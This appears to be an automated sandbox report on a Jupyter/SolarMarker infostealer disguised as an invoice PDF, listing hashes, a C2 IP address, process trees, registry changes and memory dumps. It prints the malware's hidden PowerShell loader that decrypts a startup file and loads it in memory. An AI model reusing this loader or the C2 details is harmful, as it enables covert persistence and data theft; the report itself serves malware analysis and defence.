jupyter | c4bf2f8d61993d70afc39fc8bc41346b80e88df5b21bfd22034f1731478ddfc7

General

Target

FinalProject/Tools-Invoice.pdf.7z
Size

2.0MB
MD5

0cdc67b3f8a598bec1e06964536d5998
SHA1

99c6c928f0a7843e422a89d578175ad011ea4f10
SHA256

dbba073f0c88fe42a7614b65cb8db2f5ad346fdfb1e21763288d2d73e65c9b6f
SHA512

4414cd2085a1d207d4d02d0cafd33cca7fcd0faa57c2264891b088ff8fd0b872cb45bf932fe49b72ca0e6611eb165e20f9a432d6d5c8daf73ecb042b77cb2326
SSDEEP

49152:ZXWm5vNti62RUJhdigVRTX1uIpEI+1ZoEatFg0uU/:z26cUJhNnEImoJFg05/

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

C2

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qchQydjlwAwkwlM.GbcIGdcovnGEKxUGrvo	Tools-Invoice.pdf.exe

Executes dropped EXE 3 IoCs

pid	Process
2524	Tools-Invoice.pdf.exe
1524	TvtuziedoTs.exe
1624	Tools-Invoice.pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\.gbcigdcovngekxugrvo	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\.gbcigdcovngekxugrvo\ = "ixbiwhbrwceamtsnwytaiyadjmwrxj"	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ixbiwhbrwceamtsnwytaiyadjmwrxj\shell\open\command	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ixbiwhbrwceamtsnwytaiyadjmwrxj	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ixbiwhbrwceamtsnwytaiyadjmwrxj\shell	Tools-Invoice.pdf.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ixbiwhbrwceamtsnwytaiyadjmwrxj\shell\open	Tools-Invoice.pdf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ixbiwhbrwceamtsnwytaiyadjmwrxj\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxY2hReWRqbHdBd2t3bE0uR2JjSUdkY292bkdFS3hVR3J2bw=='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\""	Tools-Invoice.pdf.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2492	7zFM.exe
2492	7zFM.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2492	7zFM.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeRestorePrivilege	2492	7zFM.exe
Token: 35	2492	7zFM.exe
Token: SeSecurityPrivilege	2492	7zFM.exe
Token: SeSecurityPrivilege	2492	7zFM.exe
Token: SeDebugPrivilege	1624	Tools-Invoice.pdf.exe
Token: SeSecurityPrivilege	2492	7zFM.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2492	7zFM.exe
2492	7zFM.exe
2492	7zFM.exe
2492	7zFM.exe
2492	7zFM.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 2492	1972	cmd.exe	29
PID 1972 wrote to memory of 2492	1972	cmd.exe	29
PID 1972 wrote to memory of 2492	1972	cmd.exe	29
PID 2492 wrote to memory of 2524	2492	7zFM.exe	32
PID 2492 wrote to memory of 2524	2492	7zFM.exe	32
PID 2492 wrote to memory of 2524	2492	7zFM.exe	32
PID 2524 wrote to memory of 1524	2524	Tools-Invoice.pdf.exe	33
PID 2524 wrote to memory of 1524	2524	Tools-Invoice.pdf.exe	33
PID 2524 wrote to memory of 1524	2524	Tools-Invoice.pdf.exe	33
PID 2524 wrote to memory of 1524	2524	Tools-Invoice.pdf.exe	33
PID 2524 wrote to memory of 1624	2524	Tools-Invoice.pdf.exe	34
PID 2524 wrote to memory of 1624	2524	Tools-Invoice.pdf.exe	34
PID 2524 wrote to memory of 1624	2524	Tools-Invoice.pdf.exe	34

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FinalProject\Tools-Invoice.pdf.7z
1⤵
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\FinalProject\Tools-Invoice.pdf.7z"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Users\Admin\AppData\Local\Temp\7zOCB9C9667\Tools-Invoice.pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\7zOCB9C9667\Tools-Invoice.pdf.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Users\Admin\AppData\Local\Temp\7zOCB9C9667\TvtuziedoTs.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOCB9C9667\TvtuziedoTs.exe"
      4⤵
      Executes dropped EXE
      PID:1524
  - - C:\Users\Admin\AppData\Local\Temp\7zOCB9C9667\Tools-Invoice.pdf.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOCB9C9667\Tools-Invoice.pdf.exe" /s
      4⤵
      Drops startup file
      Executes dropped EXE
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      PID:1624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7zOCB9C9667\Tools-Invoice.pdf.exe

Filesize
272.0MB

MD5
19ec298f977fdc71f195a4782fa8b156

SHA1
4a6035ce7510a7cc02bb785244e2cfcaec89131d

SHA256
32b42c8c10ce7ec03005931d079fe7bb7f0e5b36bcf57a789081c6f7787e630c

SHA512
d8cd8e043c24998d41b06ed0de8a8628389dab04be583094e68f5660ccc666dc260367297d373c800869fe36878aa8730fe35c2eb0b1e6631c0c2fec338b2391

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zOCB9C9667\TvtuziedoTs.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/1524-49-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/1524-66-0x0000000000400000-0x0000000000500000-memory.dmp

Filesize
1024KB

Download
memory/1524-48-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/1624-57-0x0000000000C30000-0x0000000000C46000-memory.dmp

Filesize
88KB

Download
memory/1624-54-0x0000000000630000-0x00000000006D6000-memory.dmp

Filesize
664KB

Download
memory/1624-67-0x000000001B2B0000-0x000000001B330000-memory.dmp

Filesize
512KB

Download
memory/1624-50-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/1624-51-0x00000000003F0000-0x000000000040C000-memory.dmp

Filesize
112KB

Download
memory/1624-52-0x0000000000410000-0x0000000000458000-memory.dmp

Filesize
288KB

Download
memory/1624-53-0x0000000000460000-0x0000000000468000-memory.dmp

Filesize
32KB

Download
memory/1624-46-0x000007FEF6000000-0x000007FEF69EC000-memory.dmp

Filesize
9.9MB

Download
memory/1624-55-0x0000000000470000-0x00000000004A4000-memory.dmp

Filesize
208KB

Download
memory/1624-56-0x0000000002430000-0x000000000247A000-memory.dmp

Filesize
296KB

Download
memory/1624-63-0x000007FEF6000000-0x000007FEF69EC000-memory.dmp

Filesize
9.9MB

Download
memory/1624-58-0x000000001B2B0000-0x000000001B330000-memory.dmp

Filesize
512KB

Download
memory/1624-61-0x000000001B1E0000-0x000000001B294000-memory.dmp

Filesize
720KB

Download
memory/2524-37-0x000007FEF6000000-0x000007FEF69EC000-memory.dmp

Filesize
9.9MB

Download
memory/2524-36-0x0000000000DF0000-0x000000000102E000-memory.dmp

Filesize
2.2MB

Download
memory/2524-47-0x000007FEF6000000-0x000007FEF69EC000-memory.dmp

Filesize
9.9MB

Download

Analysis

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